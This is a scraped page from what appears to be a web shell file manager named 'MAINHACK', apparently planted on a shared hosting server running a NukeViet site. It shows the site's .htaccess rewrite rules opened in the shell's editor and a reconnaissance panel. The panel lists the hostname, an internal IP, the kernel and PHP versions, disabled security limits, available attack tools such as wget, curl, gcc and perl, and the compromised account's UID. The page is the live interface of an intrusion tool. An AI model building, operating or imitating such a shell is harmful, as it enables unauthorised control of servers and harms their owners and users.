[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: .htaccess
File is not writable. Editing disabled.
#nukeviet <Files ~ "\.(htm|html|css|js|php)$"> AddDefaultCharset UTF-8 </Files> ################################################################################## #nukeviet_config_start //Please do not change the contents of the following lines ################################################################################## <IfModule mod_rewrite.c> <IfModule mod_env.c> SetEnv HTTP_SUPPORT_REWRITE on </IfModule> RewriteEngine On RewriteBase [[relativeurl]]/ RewriteCond %{REQUEST_FILENAME} /(\.(.*)|composer\.json|default\.(htaccess\.txt|web\.config\.txt|php)|mainfile\.php|web\.config|config\.php)$ [NC] RewriteRule ^.* - [L,R=404] RewriteCond %{REQUEST_URI} ^/(data/ip6?|includes|install/tpl|vendor|assets/tpl|data/cache|data/certs|data/logs)/.* [NC] RewriteRule ^.* - [L,R=404] RewriteCond %{REQUEST_URI} ^/(admin)/.*/.*$ [NC] RewriteRule ^.* - [L,R=404] RewriteCond %{REQUEST_URI} ^/(install/(css|images)|modules|themes|assets|data/config|data/tmp|uploads)/.*\.((j|a)spx?|(p|s)html|cgi|inc|ini|php|pl|py|sh|sql\.gz|tpl|xml)($|\?|\/) [NC] RewriteRule ^.* - [L,R=404] </IfModule> ErrorDocument 400 /error.php?code=400&nvDisableRewriteCheck=1 ErrorDocument 403 /error.php?code=403&nvDisableRewriteCheck=1 ErrorDocument 404 /error.php?code=404&nvDisableRewriteCheck=1 ErrorDocument 405 /error.php?code=405&nvDisableRewriteCheck=1 ErrorDocument 408 /error.php?code=408&nvDisableRewriteCheck=1 ErrorDocument 500 /error.php?code=500&nvDisableRewriteCheck=1 ErrorDocument 502 /error.php?code=502&nvDisableRewriteCheck=1 ErrorDocument 503 /error.php?code=503&nvDisableRewriteCheck=1 ErrorDocument 504 /error.php?code=504&nvDisableRewriteCheck=1 <IfModule mod_deflate.c> <FilesMatch "\.(css|js|xml|ttf)$"> SetOutputFilter DEFLATE </FilesMatch> </IfModule> <IfModule mod_headers.c> <FilesMatch "\.(js|css|xml|ttf|pdf)$"> Header append Vary Accept-Encoding Header set Access-Control-Allow-Origin "*" Header set X-Frame-Options "SAMEORIGIN" Header set X-Content-Type-Options "nosniff" Header set X-XSS-Protection "1; mode=block" </FilesMatch> <FilesMatch "\.(doc|pdf|swf)$"> Header set X-Robots-Tag "noarchive, nosnippet" </FilesMatch> <FilesMatch "\.(js|css|jpe?g|png|gif|webp|swf|svg|ico|woff|ttf|xsl|pdf|flv|mp3|mp4)(\?[0-9]{9,11})?$"> Header set Cache-Control 'max-age=2592000, public, no-cache="set-cookie"' </FilesMatch> </IfModule> #nukeviet_config_end ################################################################################## ################################################################################## #nukeviet_rewrite_start //Please do not change the contents of the following lines ################################################################################## #Options +FollowSymLinks <IfModule mod_rewrite.c> RewriteEngine On #RewriteBase [[relativeurl]]/ RewriteCond %{REQUEST_METHOD} !^(POST) [NC] RewriteRule ^api\.php(.*?)$ - [F] RewriteCond %{REQUEST_FILENAME} /robots.txt$ [NC] RewriteRule ^ robots.php?action=%{HTTP_HOST} [L] RewriteRule ^(.*?)sitemap\.xml$ index.php?nv=SitemapIndex [L] RewriteRule ^(.*?)sitemap\-([a-z]{2})\.xml$ index.php?language=$2&nv=SitemapIndex [L] RewriteRule ^(.*?)sitemap\-([a-z]{2})\.([a-zA-Z0-9-]+)\.xml$ index.php?language=$2&nv=$3&op=sitemap [L] RewriteRule ^(.*?)sitemap\-([a-z]{2})\.([a-zA-Z0-9-]+)\.([a-zA-Z0-9-]+)\.xml$ index.php?language=$2&nv=$3&op=sitemap/$4 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule (.*)(\/|\.html)$ index.php RewriteRule (.*)tag\/([^?]+)$ index.php RewriteRule ^([a-zA-Z0-9-\/]+)\/([a-zA-Z0-9-]+)$ [[relativeurl]]/$1/$2/ [L,R=301] RewriteRule ^([a-zA-Z0-9-]+)$ [[relativeurl]]/$1/ [L,R=301] </IfModule> #nukeviet_rewrite_end ##################################################################################
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 699.99 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A